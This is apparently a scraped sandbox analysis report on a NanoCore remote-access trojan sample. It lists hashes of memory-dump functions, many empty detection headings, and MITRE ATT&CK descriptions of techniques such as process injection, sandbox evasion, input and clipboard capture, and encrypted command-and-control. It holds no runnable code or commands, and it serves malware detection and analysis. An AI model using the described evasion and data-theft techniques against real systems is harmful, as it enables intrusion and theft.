Uniqueness

Uniqueness Score: -1.00%

Function 02C518E8, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e3c204a024d9c308805da0868509e6ef9cd77bdd08cdddb6ccb48725b0c29d8
Instruction ID: 88d1ceedad74616e705e3429420bbbc41c9c0e01502a5caef8c0d3ca01fa6802
Opcode Fuzzy Hash: 3e3c204a024d9c308805da0868509e6ef9cd77bdd08cdddb6ccb48725b0c29d8
Instruction Fuzzy Hash: E9F01236B012505FC718AE39E88889E7BB6EBD9351351853AED0AC7245DE798C058B50

Uniqueness

Uniqueness Score: -1.00%

Function 02C50640, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e9ff115a5571e0a1ffe2312cec54a53af874f3e6fd79ca71ab796e3674e551c
Instruction ID: 6c1f3170c762870662abc445102878eef76fe1f36542dbfc7877bbd3dd699c03
Opcode Fuzzy Hash: 4e9ff115a5571e0a1ffe2312cec54a53af874f3e6fd79ca71ab796e3674e551c
Instruction Fuzzy Hash: E8E065357005114B4718B739D41C56D77F7AFCC5213144079ED4BC7354DE254C028796

Uniqueness

Uniqueness Score: -1.00%

Function 02C518F8, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012ba8e2f1d308dbd475d7473202a8c9413241f4412c1cf0995438fee760313f
Instruction ID: 41af97b1912e217567972f530078f44f4e892bc48f068965b63b89b724d01ee1
Opcode Fuzzy Hash: 012ba8e2f1d308dbd475d7473202a8c9413241f4412c1cf0995438fee760313f
Instruction Fuzzy Hash: 74E01B353011045BC718EF39EC4489E7B6AEBC9351351C536FD0AC7304DE759C058750

Uniqueness

Uniqueness Score: -1.00%

Function 02C51990, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95663a9cf546243164e6ecb6af61ee62f5065b8ab226c414200f27dff988be9e
Instruction ID: 593427405c753b6ffd423f6efa57b9d65b9d604ad8ddcbad7e3a0bd78ee1f732
Opcode Fuzzy Hash: 95663a9cf546243164e6ecb6af61ee62f5065b8ab226c414200f27dff988be9e
Instruction Fuzzy Hash: E3E022313042908FC30657BCA41038A7FAADFCB315F0800EBE048CB7A2CD758C418391

Uniqueness

Uniqueness Score: -1.00%

Function 02C405F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239477376.0000000002C40000.00000040.00000040.sdmp, Offset: 02C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5102ba08a074949743a77e14098e68485ffa8021b067ea697af746c958bfd6db
Instruction ID: bbbcc24c56ae0ba9f047eaf0156e308fe23662667b6a862d32fc9989d1c66aa7
Opcode Fuzzy Hash: 5102ba08a074949743a77e14098e68485ffa8021b067ea697af746c958bfd6db
Instruction Fuzzy Hash: CEE092766006008BD650DF0BEC41462F7D8EB88630B18C47FDD0D8B710E135B504CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02C506C8, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d6b250fadffdf282ee8c07a67523a02ec3c45ff103d4b8abdcac53b65616e1
Instruction ID: bfc8a805eb88e106e910be8c51f2b55f0c8d6030f455b783c275d32c2dd329d3
Opcode Fuzzy Hash: 33d6b250fadffdf282ee8c07a67523a02ec3c45ff103d4b8abdcac53b65616e1
Instruction Fuzzy Hash: 4EE0C2762092C0AFD3114764DC407A97FE88F8A321F2404DAEAD8CE0D2EA664082C362

Uniqueness

Uniqueness Score: -1.00%

Function 02C519A0, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74cacc139118726df212911cd24441e1e612e5923b48fc5005082d1758ca25d3
Instruction ID: d30000e475f48f0f44b9ed12a11f43e4ce957e0b60fb40eaa4cd3b23237b2875
Opcode Fuzzy Hash: 74cacc139118726df212911cd24441e1e612e5923b48fc5005082d1758ca25d3
Instruction Fuzzy Hash: 9AE0C2313002109BC30862AEE000A5F77DECBCA320B10407BE509C7390CDB5AC4147E5

Uniqueness

Uniqueness Score: -1.00%

Function 02C50251, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ec3ca9463bc5815201f375908f69082a98f74a8b263d1c3e607ad017cc8ed5
Instruction ID: 8fc7ada7bbbf415677c91c7c7a322353b3c6d29e5dd8e617ea0e2faa5a95ec9b
Opcode Fuzzy Hash: 38ec3ca9463bc5815201f375908f69082a98f74a8b263d1c3e607ad017cc8ed5
Instruction Fuzzy Hash: ECD0C936B040208FDB0096ADE8051ECBBA1EFC4225B20107AD60ADB651E92189598601

Uniqueness

Uniqueness Score: -1.00%

Function 010C23F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.238944902.00000000010C2000.00000040.00000001.sdmp, Offset: 010C2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37f310b48543a2c6e60bada7ae4168977848c84b492567e53241e8e61f85024
Instruction ID: e0498d28e7e9e202467921a466991529e78ab0ca1e3afb8c35dfc9fd4b7462fa
Opcode Fuzzy Hash: c37f310b48543a2c6e60bada7ae4168977848c84b492567e53241e8e61f85024
Instruction Fuzzy Hash: ACD05E79215A818FE3268B1CC1A8B9D7FE4AB51F04F4644FDE8408BA63C768D9D1D600

Uniqueness

Uniqueness Score: -1.00%

Function 010C23BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.238944902.00000000010C2000.00000040.00000001.sdmp, Offset: 010C2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2646a011e0be6cf3f901810c15c6af6f5874733e687dc6eaf74ccfc3717570e5
Instruction ID: 8194b520d299d3306dc61b08f3be6b0dcc5c4ac319e6ccc2b4dce369ba2e1099
Opcode Fuzzy Hash: 2646a011e0be6cf3f901810c15c6af6f5874733e687dc6eaf74ccfc3717570e5
Instruction Fuzzy Hash: 93D05E343002818BD715DB0CC594F5D3BD4AB41B00F0684ECAD408BA62C3A4D881CA00

Uniqueness

Uniqueness Score: -1.00%

Function 02C50130, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f49c54a1bd146393e8e7009c1744b08a7d69ec08d5ef07bd933f089642dac4a7
Instruction ID: d2c3cbddeb3bcf4972697869c033132836c83bab8542d2ceac1543a5f45d50b6
Opcode Fuzzy Hash: f49c54a1bd146393e8e7009c1744b08a7d69ec08d5ef07bd933f089642dac4a7
Instruction Fuzzy Hash: 58C08C3034060A06DA101AF8A884327328C97C0208F000421A80ECA140E92AD8804241

Uniqueness

Uniqueness Score: -1.00%

Function 02C518B9, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed4b0bd0c490184e8e12361d5d1f13b9912e44ae7fb02eeb4cb0c6839cf105ed
Instruction ID: c98e947d42f6ff0fc5ea2cd6b24857bc99e104e141505f5ed2375023f73ce5be
Opcode Fuzzy Hash: ed4b0bd0c490184e8e12361d5d1f13b9912e44ae7fb02eeb4cb0c6839cf105ed
Instruction Fuzzy Hash: 3CD05EB18092019FC300DF28DC49A2E7BE0AB80306F45C83DE88DC2141F2769409C722

Uniqueness

Uniqueness Score: -1.00%

Function 02C518C8, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06bd8688c6ee96378eb86980657001375586594fcd2286bc78ee0d06961443a0
Instruction ID: b5fe5e32082bc3e46caa2581a6730e1076fbbb30c107f36d40474df88e9ada78
Opcode Fuzzy Hash: 06bd8688c6ee96378eb86980657001375586594fcd2286bc78ee0d06961443a0
Instruction Fuzzy Hash: B0C01270419201AFC744FF28EC4596A7BF0EA80605F40C92CE88DC2114F270551CCB52

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report NAO09009009.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: NanoCore

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

AV Detection:

E-Banking Fraud:

Stealing of Sensitive Information:

Remote Access Functionality:

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Function 004035D8, Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Function 00405C4E, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 10001000, Relevance: 6.1, APIs: 4, Instructions: 96
filememorytimeCOMMON

Function 00406C5B, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 0040689A, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403C0B, Relevance: 49.2, APIs: 14, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00403068, Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Function 0040176F, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Function 004068C1, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00405A73, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00406061, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 00407090, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Function 00407291, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Function 00406FA7, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Function 00406AAC, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre